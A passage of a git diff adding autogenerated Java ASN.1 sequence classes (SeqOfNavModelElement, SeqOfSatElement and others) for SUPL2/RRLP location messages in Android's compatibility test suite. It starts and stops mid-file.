+ for (MsrAssistBTS_R98_ExpOTD value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
new file mode 100755
index 0000000..fa6cc04
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfNavModelElement
+ extends Asn1SequenceOf<NavModelElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfNavModelElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfNavModelElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfNavModelElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfNavModelElement != null) {
+ return ImmutableList.of(TAG_SeqOfNavModelElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfNavModelElement from encoded stream.
+ */
+ public static SeqOfNavModelElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfNavModelElement result = new SeqOfNavModelElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfNavModelElement from encoded stream.
+ */
+ public static SeqOfNavModelElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfNavModelElement result = new SeqOfNavModelElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public NavModelElement createAndAddValue() {
+ NavModelElement value = new NavModelElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfNavModelElement = [\n");
+ final String internalIndent = indent + " ";
+ for (NavModelElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
new file mode 100755
index 0000000..b8e156f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfOTD_FirstSetMsrs
+ extends Asn1SequenceOf<OTD_FirstSetMsrs> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfOTD_FirstSetMsrs
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfOTD_FirstSetMsrs() {
+ super();
+ setMinSize(1);
+setMaxSize(10);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfOTD_FirstSetMsrs;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfOTD_FirstSetMsrs != null) {
+ return ImmutableList.of(TAG_SeqOfOTD_FirstSetMsrs);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfOTD_FirstSetMsrs from encoded stream.
+ */
+ public static SeqOfOTD_FirstSetMsrs fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfOTD_FirstSetMsrs result = new SeqOfOTD_FirstSetMsrs();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfOTD_FirstSetMsrs from encoded stream.
+ */
+ public static SeqOfOTD_FirstSetMsrs fromPerAligned(byte[] encodedBytes) {
+ SeqOfOTD_FirstSetMsrs result = new SeqOfOTD_FirstSetMsrs();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public OTD_FirstSetMsrs createAndAddValue() {
+ OTD_FirstSetMsrs value = new OTD_FirstSetMsrs();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfOTD_FirstSetMsrs = [\n");
+ final String internalIndent = indent + " ";
+ for (OTD_FirstSetMsrs value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
new file mode 100755
index 0000000..68024af
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfOTD_FirstSetMsrs_R98_Ext
+ extends Asn1SequenceOf<OTD_FirstSetMsrs> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfOTD_FirstSetMsrs_R98_Ext
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfOTD_FirstSetMsrs_R98_Ext() {
+ super();
+ setMinSize(1);
+setMaxSize(5);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfOTD_FirstSetMsrs_R98_Ext;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfOTD_FirstSetMsrs_R98_Ext != null) {
+ return ImmutableList.of(TAG_SeqOfOTD_FirstSetMsrs_R98_Ext);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfOTD_FirstSetMsrs_R98_Ext from encoded stream.
+ */
+ public static SeqOfOTD_FirstSetMsrs_R98_Ext fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfOTD_FirstSetMsrs_R98_Ext result = new SeqOfOTD_FirstSetMsrs_R98_Ext();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfOTD_FirstSetMsrs_R98_Ext from encoded stream.
+ */
+ public static SeqOfOTD_FirstSetMsrs_R98_Ext fromPerAligned(byte[] encodedBytes) {
+ SeqOfOTD_FirstSetMsrs_R98_Ext result = new SeqOfOTD_FirstSetMsrs_R98_Ext();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public OTD_FirstSetMsrs createAndAddValue() {
+ OTD_FirstSetMsrs value = new OTD_FirstSetMsrs();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfOTD_FirstSetMsrs_R98_Ext = [\n");
+ final String internalIndent = indent + " ";
+ for (OTD_FirstSetMsrs value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
new file mode 100755
index 0000000..5af349a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfOTD_MsrElementRest
+ extends Asn1SequenceOf<OTD_MsrElementRest> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfOTD_MsrElementRest
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfOTD_MsrElementRest() {
+ super();
+ setMinSize(1);
+setMaxSize(2);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfOTD_MsrElementRest;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfOTD_MsrElementRest != null) {
+ return ImmutableList.of(TAG_SeqOfOTD_MsrElementRest);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfOTD_MsrElementRest from encoded stream.
+ */
+ public static SeqOfOTD_MsrElementRest fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfOTD_MsrElementRest result = new SeqOfOTD_MsrElementRest();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfOTD_MsrElementRest from encoded stream.
+ */
+ public static SeqOfOTD_MsrElementRest fromPerAligned(byte[] encodedBytes) {
+ SeqOfOTD_MsrElementRest result = new SeqOfOTD_MsrElementRest();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public OTD_MsrElementRest createAndAddValue() {
+ OTD_MsrElementRest value = new OTD_MsrElementRest();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfOTD_MsrElementRest = [\n");
+ final String internalIndent = indent + " ";
+ for (OTD_MsrElementRest value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
new file mode 100755
index 0000000..4644383
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfOTD_MsrsOfOtherSets
+ extends Asn1SequenceOf<OTD_MsrsOfOtherSets> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfOTD_MsrsOfOtherSets
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfOTD_MsrsOfOtherSets() {
+ super();
+ setMinSize(1);
+setMaxSize(10);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfOTD_MsrsOfOtherSets;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfOTD_MsrsOfOtherSets != null) {
+ return ImmutableList.of(TAG_SeqOfOTD_MsrsOfOtherSets);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfOTD_MsrsOfOtherSets from encoded stream.
+ */
+ public static SeqOfOTD_MsrsOfOtherSets fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfOTD_MsrsOfOtherSets result = new SeqOfOTD_MsrsOfOtherSets();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfOTD_MsrsOfOtherSets from encoded stream.
+ */
+ public static SeqOfOTD_MsrsOfOtherSets fromPerAligned(byte[] encodedBytes) {
+ SeqOfOTD_MsrsOfOtherSets result = new SeqOfOTD_MsrsOfOtherSets();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public OTD_MsrsOfOtherSets createAndAddValue() {
+ OTD_MsrsOfOtherSets value = new OTD_MsrsOfOtherSets();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfOTD_MsrsOfOtherSets = [\n");
+ final String internalIndent = indent + " ";
+ for (OTD_MsrsOfOtherSets value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
new file mode 100755
index 0000000..8436249
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfReferenceIdentityType
+ extends Asn1SequenceOf<ReferenceIdentityType> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfReferenceIdentityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfReferenceIdentityType() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfReferenceIdentityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfReferenceIdentityType != null) {
+ return ImmutableList.of(TAG_SeqOfReferenceIdentityType);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfReferenceIdentityType from encoded stream.
+ */
+ public static SeqOfReferenceIdentityType fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfReferenceIdentityType result = new SeqOfReferenceIdentityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfReferenceIdentityType from encoded stream.
+ */
+ public static SeqOfReferenceIdentityType fromPerAligned(byte[] encodedBytes) {
+ SeqOfReferenceIdentityType result = new SeqOfReferenceIdentityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public ReferenceIdentityType createAndAddValue() {
+ ReferenceIdentityType value = new ReferenceIdentityType();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfReferenceIdentityType = [\n");
+ final String internalIndent = indent + " ";
+ for (ReferenceIdentityType value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java
new file mode 100755
index 0000000..2065c0c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfSatElement
+ extends Asn1SequenceOf<SatElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfSatElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfSatElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfSatElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfSatElement != null) {
+ return ImmutableList.of(TAG_SeqOfSatElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfSatElement from encoded stream.
+ */
+ public static SeqOfSatElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfSatElement result = new SeqOfSatElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfSatElement from encoded stream.
+ */
+ public static SeqOfSatElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfSatElement result = new SeqOfSatElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SatElement createAndAddValue() {
+ SatElement value = new SatElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfSatElement = [\n");
+ final String internalIndent = indent + " ";
+ for (SatElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
new file mode 100755
index 0000000..5571676
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfSgnTypeElement
+ extends Asn1SequenceOf<SgnTypeElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfSgnTypeElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfSgnTypeElement() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfSgnTypeElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfSgnTypeElement != null) {
+ return ImmutableList.of(TAG_SeqOfSgnTypeElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfSgnTypeElement from encoded stream.
+ */
+ public static SeqOfSgnTypeElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfSgnTypeElement result = new SeqOfSgnTypeElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfSgnTypeElement from encoded stream.
+ */
+ public static SeqOfSgnTypeElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfSgnTypeElement result = new SeqOfSgnTypeElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SgnTypeElement createAndAddValue() {
+ SgnTypeElement value = new SgnTypeElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
